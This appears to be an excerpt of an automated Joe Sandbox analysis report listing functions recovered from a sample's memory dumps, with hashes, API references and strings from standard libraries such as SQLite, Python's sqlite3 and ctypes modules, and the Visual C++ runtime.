Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007
String ID: delete$insert$replace$update
API String ID: 3568877910-310407209
Opcode ID: 739cd27492189b4eb9725564864e3e8f9d5b5a4e658c2c2cb9fed5de0871bc61
Instruction ID: a63d0bd592655da8b0d91c9d4fd7ed267cf528236de650dc149935090b1adb3a
Opcode Fuzzy Hash: 739cd27492189b4eb9725564864e3e8f9d5b5a4e658c2c2cb9fed5de0871bc61
Instruction Fuzzy Hash: 3D31C7E1A0CA5252FA218B36E41CB792692AF46FC1F4840B6CD0D47789EF2CEA46C310

Function 00007FFB0C1A5E2B Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 72COMMON

Download Yara Rule

APIs

00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5C8F
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CAD
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CCB
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CE9

Strings

delete, xrefs: 00007FFB0C1A5CC1
insert, xrefs: 00007FFB0C1A5C85
update, xrefs: 00007FFB0C1A5CA3
replace, xrefs: 00007FFB0C1A5CDF

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007
String ID: delete$insert$replace$update
API String ID: 3568877910-310407209
Opcode ID: 079422f59c99687c438c33ad3758d41ccbbcb508bdff5314d6c380242662e6a6
Instruction ID: 4dbfc05de1d542b759a33d499eea5b1085cae6294a39aa1420bd784b2b364964
Opcode Fuzzy Hash: 079422f59c99687c438c33ad3758d41ccbbcb508bdff5314d6c380242662e6a6
Instruction Fuzzy Hash: 2F219AE1A0CA5351FA258B36E44CB786796AF46F81F4880F2CD4D87689EF2DE647C350

Function 00007FFB0C1A5D5C Relevance: 14.1, APIs: 4, Strings: 4, Instructions: 53COMMON

Download Yara Rule

APIs

00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5C8F
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CAD
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CCB
00007FFB2ADB6A30.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFB0C1A5CE9

Strings

delete, xrefs: 00007FFB0C1A5CC1
insert, xrefs: 00007FFB0C1A5C85
update, xrefs: 00007FFB0C1A5CA3
replace, xrefs: 00007FFB0C1A5CDF

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007
String ID: delete$insert$replace$update
API String ID: 3568877910-310407209
Opcode ID: 87ce0f707e7b577581722ad4a1387b3fcf2372f05e968d437b2cc0f1fadbe2c8
Instruction ID: 78da3ed84200d8cdba49c0a14b1fc7d445d2c1c4fca622b4207274e5236a8d35
Opcode Fuzzy Hash: 87ce0f707e7b577581722ad4a1387b3fcf2372f05e968d437b2cc0f1fadbe2c8
Instruction Fuzzy Hash: F7115BE0B0CB1391FA249B76E848B792296AF45FC0F4440B6CD0D87B94EF2CE6478351

Function 00007FFB0C032CE0 Relevance: 12.6, APIs: 1, Strings: 6, Instructions: 339COMMON

Download Yara Rule

APIs

00007FFB1C263010.VCRUNTIME140 ref: 00007FFB0C03309A

Strings

%s at line %d of [%.10s], xrefs: 00007FFB0C032E95, 00007FFB0C032F02
misuse, xrefs: 00007FFB0C032E89, 00007FFB0C032EF6
8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355, xrefs: 00007FFB0C032D53, 00007FFB0C032EE9
API called with finalized prepared statement, xrefs: 00007FFB0C032E5C, 00007FFB0C032ED8
API called with NULL prepared statement, xrefs: 00007FFB0C032E44
ATTACH x AS %Q, xrefs: 00007FFB0C032D70

Memory Dump Source

Source File: 00000007.00000002.1712903325.00007FFB0C021000.00000040.00000001.01000000.0000000C.sdmp, Offset: 00007FFB0C020000, based on PE: true

Associated: 00000007.00000002.1712866038.00007FFB0C020000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C181000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C183000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1712903325.00007FFB0C198000.00000040.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713147144.00007FFB0C19A000.00000080.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000007.00000002.1713182254.00007FFB0C19C000.00000004.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c020000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C263010
String ID: %s at line %d of [%.10s]$8653b758870e6ef0c98d46b3ace27849054af85da891eb121e9aaa537f1e8355$API called with NULL prepared statement$API called with finalized prepared statement$ATTACH x AS %Q$misuse
API String ID: 3122504284-1404302391
Opcode ID: 5ae81091e86e25a5368a2a49817f595d8c0bef1ad97d726da483eeb57a43f45b
Instruction ID: 61ad898ff7a1e89345e04de3a076b005ace9d89001a8dc87e6b8b8123864d1db
Opcode Fuzzy Hash: 5ae81091e86e25a5368a2a49817f595d8c0bef1ad97d726da483eeb57a43f45b
Instruction Fuzzy Hash: EAF19CE1A0DA4286FA649B35E898B7933A9BF40F90F584135DA4D473A5EF3CE446C34C

Function 00007FFB0C1A7220 Relevance: 12.4, APIs: 1, Strings: 6, Instructions: 172COMMON

Download Yara Rule

APIs

00007FFB0C058F60.SQLITE3 ref: 00007FFB0C1A72C2

Strings

Cannot operate on a closed cursor., xrefs: 00007FFB0C1A7409
Base Cursor.__init__ not called., xrefs: 00007FFB0C1AD6A0
Recursive use of cursors not allowed., xrefs: 00007FFB0C1AD701
Base Connection.__init__ not called., xrefs: 00007FFB0C1AD6F1
Cannot operate on a closed database., xrefs: 00007FFB0C1A7423
SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu., xrefs: 00007FFB0C1AD6BA

Memory Dump Source

Source File: 00000007.00000002.1713252916.00007FFB0C1A1000.00000040.00000001.01000000.0000000B.sdmp, Offset: 00007FFB0C1A0000, based on PE: true

Associated: 00000007.00000002.1713216867.00007FFB0C1A0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1B9000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713252916.00007FFB0C1BF000.00000040.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713365488.00007FFB0C1C1000.00000080.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000007.00000002.1713399942.00007FFB0C1C3000.00000004.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb0c1a0000_X9g8L63QGs.jbxd

Similarity

API ID: 00007C058
String ID: Base Connection.__init__ not called.$Base Cursor.__init__ not called.$Cannot operate on a closed cursor.$Cannot operate on a closed database.$Recursive use of cursors not allowed.$SQLite objects created in a thread can only be used in that same thread. The object was created in thread id %lu and this is thread id %lu.
API String ID: 3574868227-2922342969
Opcode ID: 35545b6d8455ecd6957b139098b76e7acc93c7997bf4f99056b34d33aed98f76
Instruction ID: 91c2c53d913a2186a693a6dcda94a324950cdd101254569d57969d45f8a4fc2a
Opcode Fuzzy Hash: 35545b6d8455ecd6957b139098b76e7acc93c7997bf4f99056b34d33aed98f76
Instruction Fuzzy Hash: AE8127F6A09A02C6EB149F75E45CA7833A0FF85B89F1444B2CA0E476A4DF3DE586C340

Function 00007FFB1B6FDBBC Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

GetErrorInfo.OLEAUT32 ref: 00007FFB1B6FDC47
ProgIDFromCLSID.OLE32 ref: 00007FFB1B6FDCB7
LocalFree.KERNEL32 ref: 00007FFB1B6FDD2E
SysFreeString.OLEAUT32 ref: 00007FFB1B6FDD3D
SysFreeString.OLEAUT32 ref: 00007FFB1B6FDD4C
SysFreeString.OLEAUT32 ref: 00007FFB1B6FDD5B

Strings

iu(uuuiu), xrefs: 00007FFB1B6FDCF2

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: Free$String$ErrorFromInfoLocalProg
String ID: iu(uuuiu)
API String ID: 3403921354-1877708109
Opcode ID: 379d610efde80aea7e25e5220ffef6de210be6735cddb587e3987a17ea792276
Instruction ID: 831989f6d2b9ac0a7ab43973e9492a9acd1e1011dd706f97e54295d77df4b06c
Opcode Fuzzy Hash: 379d610efde80aea7e25e5220ffef6de210be6735cddb587e3987a17ea792276
Instruction Fuzzy Hash: 9151DB66B15E058AEB009F76E4643AC2371FB99F99F009136DE0E57B68DF38D509C350

Function 00007FFB1C2556A4 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00007FFB1C255863,?,?,00000000,00007FFB1C255694,?,?,?,?,00007FFB1C2553D1), ref: 00007FFB1C255729
GetLastError.KERNEL32(?,?,?,00007FFB1C255863,?,?,00000000,00007FFB1C255694,?,?,?,?,00007FFB1C2553D1), ref: 00007FFB1C255737
wcsncmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,00007FFB1C255863,?,?,00000000,00007FFB1C255694,?,?,?,?,00007FFB1C2553D1), ref: 00007FFB1C255750
LoadLibraryExW.KERNEL32(?,?,?,00007FFB1C255863,?,?,00000000,00007FFB1C255694,?,?,?,?,00007FFB1C2553D1), ref: 00007FFB1C255762
FreeLibrary.KERNEL32(?,?,?,00007FFB1C255863,?,?,00000000,00007FFB1C255694,?,?,?,?,00007FFB1C2553D1), ref: 00007FFB1C2557D0
GetProcAddress.KERNEL32(?,?,?,00007FFB1C255863,?,?,00000000,00007FFB1C255694,?,?,?,?,00007FFB1C2553D1), ref: 00007FFB1C2557DC

Strings

api-ms-, xrefs: 00007FFB1C255749

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProcwcsncmp
String ID: api-ms-
API String ID: 916704608-2084034818
Opcode ID: e684dc1ea15019c11da8b5489464cae19cb3925c8f7c5ac0dd2cd0c8e7a31cf1
Instruction ID: 14e55b0c4373c053991d7ab6004b6431744ed81d3d332738868a50518e7ee7ba
Opcode Fuzzy Hash: e684dc1ea15019c11da8b5489464cae19cb3925c8f7c5ac0dd2cd0c8e7a31cf1
Instruction Fuzzy Hash: DB31D4E1A1AE51D7EE15EB22E8085F623A6BF05B70F690134DD6D47390EF3CE9448390

Function 00007FFB1B6FA6F0 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 82libraryloaderCOMMON

Download Yara Rule

APIs

GetProcAddress.KERNEL32 ref: 00007FFB1B6FA7F9

Strings

symbol '%s' not found, xrefs: 00007FFB1B6FA817
the _handle attribute of the second argument must be an integer, xrefs: 00007FFB1B6FA76E
_handle, xrefs: 00007FFB1B6FA742
ctypes.dlsym, xrefs: 00007FFB1B6FA72C
Os:in_dll, xrefs: 00007FFB1B6FA711
could not convert the _handle attribute to a pointer, xrefs: 00007FFB1B6FA7D6

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: AddressProc
String ID: Os:in_dll$_handle$could not convert the _handle attribute to a pointer$ctypes.dlsym$symbol '%s' not found$the _handle attribute of the second argument must be an integer
API String ID: 190572456-3856192562
Opcode ID: f689fd5eb29f4f531bea3e8f6701307ec7aded59f8a24d2646ab97d44f2a5c48
Instruction ID: 32be771c48c31120f7f379c792a325d603b09dc318c59774c366c32054fc776a
Opcode Fuzzy Hash: f689fd5eb29f4f531bea3e8f6701307ec7aded59f8a24d2646ab97d44f2a5c48
Instruction Fuzzy Hash: E041E8A5A08E4281EF019B36E954178A3B2BF96FE4F44E036E90E47A74DE2CE5498300

Function 00007FFB1B6F5C40 Relevance: 12.2, APIs: 8, Instructions: 227COMMON

Download Yara Rule

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FFB1B6F5C68
__scrt_acquire_startup_lock.LIBCMT ref: 00007FFB1B6F5CBA
_RTC_Initialize.LIBCMT ref: 00007FFB1B6F5CE8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00007FFB1B6F5D0E
__scrt_release_startup_lock.LIBCMT ref: 00007FFB1B6F5D39

Memory Dump Source

Source File: 00000007.00000002.1714967826.00007FFB1B6F1000.00000040.00000001.01000000.00000007.sdmp, Offset: 00007FFB1B6F0000, based on PE: true

Associated: 00000007.00000002.1714933150.00007FFB1B6F0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B708000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1714967826.00007FFB1B710000.00000040.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715084541.00007FFB1B712000.00000080.00000001.01000000.00000007.sdmpDownload File
Associated: 00000007.00000002.1715123647.00007FFB1B714000.00000004.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1b6f0000_X9g8L63QGs.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: f9e726577427167b5b43ce498b76b1f83f193940dfb1d3710f816244ba1a3bcc
Instruction ID: ed6fda4aa68715e1d0425b6f94fcb4b6975149938045ef0b8b1b6488032699b1
Opcode Fuzzy Hash: f9e726577427167b5b43ce498b76b1f83f193940dfb1d3710f816244ba1a3bcc
Instruction Fuzzy Hash: 5381C1A1E09E0346FA509B75EC61279A693AF627A0F44F03DE90D477B6DE3CED458700

Function 00007FFB1C2514BC Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251576
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251595
__AdjustPointer.LIBCMT ref: 00007FFB1C2515D6
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C2515E3
__AdjustPointer.LIBCMT ref: 00007FFB1C25161F
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251634
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251679
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251680

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: a77e56ffb7347bb9ddddd1c8b20b2eb7c3ebdd653f05e7e8cd9cc1452737c897
Instruction ID: 8444b7d37d2d3e2aa39c8cc4856aa1b99be0eedf260270bb523b49ecb4e8b419
Opcode Fuzzy Hash: a77e56ffb7347bb9ddddd1c8b20b2eb7c3ebdd653f05e7e8cd9cc1452737c897
Instruction Fuzzy Hash: 5551A7E1A09E4283EA65FBB4D04C5FA6396AF06BB4B395435CE4E06798CF3CDC418790

Function 00007FFB1C2512D8 Relevance: 12.1, APIs: 8, Instructions: 148COMMON

Download Yara Rule

APIs

abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251390
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C2513AE
__AdjustPointer.LIBCMT ref: 00007FFB1C2513EF
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C2513FC
__AdjustPointer.LIBCMT ref: 00007FFB1C251438
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C25144D
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251492
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFB1C251499

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: abort$AdjustPointer
String ID:
API String ID: 1501936508-0
Opcode ID: 4f4cdc7b1f5bc10ab634606701f5204aa77954bebd3c90e9ebba0e05a3be14f8
Instruction ID: 6f64d364f9d8d6768249aba0b0fc0111f170abd072965b7064455d3835543122
Opcode Fuzzy Hash: 4f4cdc7b1f5bc10ab634606701f5204aa77954bebd3c90e9ebba0e05a3be14f8
Instruction Fuzzy Hash: 0151C7E1A09E4293EA65BBB4D05C5FE6393AF42BA4F354435CE4E06B94DE6CDC41C390

Function 00007FFB1C254CEA Relevance: 10.7, APIs: 2, Strings: 4, Instructions: 162COMMON

Download Yara Rule

APIs

Part of subcall function 00007FFB1C2551D0: RtlPcToFileHeader.KERNEL32 ref: 00007FFB1C255220
Part of subcall function 00007FFB1C2551D0: RaiseException.KERNEL32 ref: 00007FFB1C255261

RtlPcToFileHeader.KERNEL32 ref: 00007FFB1C254D87

Strings

Bad dynamic_cast!, xrefs: 00007FFB1C254E52
Access violation - no RTTI data!, xrefs: 00007FFB1C254CEA, 00007FFB1C254F0B
Attempted a typeid of nullptr pointer!, xrefs: 00007FFB1C254EC5
Bad read pointer - no RTTI data!, xrefs: 00007FFB1C254EE8

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: FileHeader$ExceptionRaise
String ID: Access violation - no RTTI data!$Attempted a typeid of nullptr pointer!$Bad dynamic_cast!$Bad read pointer - no RTTI data!
API String ID: 3685223789-928371585
Opcode ID: 4f73c46b7be505823b8c23bdf2e01a106e3a134808b8006f3c7a9710838bb3a8
Instruction ID: bab03b8d95b50f5617864459aa61acea1ced40a459a7b5d838b5599bbcbbd45a
Opcode Fuzzy Hash: 4f73c46b7be505823b8c23bdf2e01a106e3a134808b8006f3c7a9710838bb3a8
Instruction Fuzzy Hash: 305181E6719E4693DA20EB35E4485FAA362FF45BA4F608431DA8D43764EE3CE905C390

Function 00007FFB1C25D444 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 126COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25D4B8
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25D4C7

Part of subcall function 00007FFB1C25B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B6DD
Part of subcall function 00007FFB1C25B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25B716
Part of subcall function 00007FFB1C25B64C: DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25BA41

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25D567
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25D577
DName::operator+.LIBVCRUNTIME ref: 00007FFB1C25D623

Strings

{for , xrefs: 00007FFB1C25D4F0

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID: {for
API String ID: 2943138195-864106941
Opcode ID: c8c0eb25e8b680b21b04dbc78bc85cadbb1d2f305e65e2eabc9fe04fafa5b067
Instruction ID: 7863e8fe94c381ca9bf71de7a4a70f425ca43131a496c4fb450d802af4acccc0
Opcode Fuzzy Hash: c8c0eb25e8b680b21b04dbc78bc85cadbb1d2f305e65e2eabc9fe04fafa5b067
Instruction Fuzzy Hash: ED515CF2A08E81AAE711AF34D5483F933A2EB45768F948031EA4C47B99DF7CD955C390

Function 00007FFB1C25CA04 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 89COMMONLIBRARYCODE

Download Yara Rule

APIs

atol.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,00000000,00007FFB1C25C0FD), ref: 00007FFB1C25CAC8
DName::DName.LIBVCRUNTIME ref: 00007FFB1C25CAE7

Strings

`template-parameter, xrefs: 00007FFB1C25CAF5
void, xrefs: 00007FFB1C25CA4A

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: NameName::atol
String ID: `template-parameter$void
API String ID: 2130343216-4057429177
Opcode ID: 39600c2fadeceed4c6c28385a1cdb72227216fd67de7d66948b2e2ddd060d726
Instruction ID: 6707c24fbb925f15de28f962863be66482dc7fc769f2c6e3cc0fb60fc85f074f
Opcode Fuzzy Hash: 39600c2fadeceed4c6c28385a1cdb72227216fd67de7d66948b2e2ddd060d726
Instruction Fuzzy Hash: 2E4159E2B08F528AFB00EBB4D8582ED2372BB19BA4F641135DE4C57795EF78A545C380

Function 00007FFB1C2575D0 Relevance: 10.6, APIs: 1, Strings: 5, Instructions: 81COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBVCRUNTIME ref: 00007FFB1C257682

Strings

<ellipsis>, xrefs: 00007FFB1C2576CF
,<ellipsis>, xrefs: 00007FFB1C257660
..., xrefs: 00007FFB1C2576BF
,..., xrefs: 00007FFB1C257650
void, xrefs: 00007FFB1C2576F4

Memory Dump Source

Source File: 00000007.00000002.1715692326.00007FFB1C251000.00000020.00000001.01000000.00000006.sdmp, Offset: 00007FFB1C250000, based on PE: true

Associated: 00000007.00000002.1715650944.00007FFB1C250000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715735925.00007FFB1C264000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715777428.00007FFB1C269000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000007.00000002.1715818880.00007FFB1C26A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_7ffb1c250000_X9g8L63QGs.jbxd

Similarity

API ID: Name::operator+
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 2943138195-2211150622
Opcode ID: 8129fa0169d6cc1cc5ca1a8c8b43bbbd082598864b82464398da58a00a821778
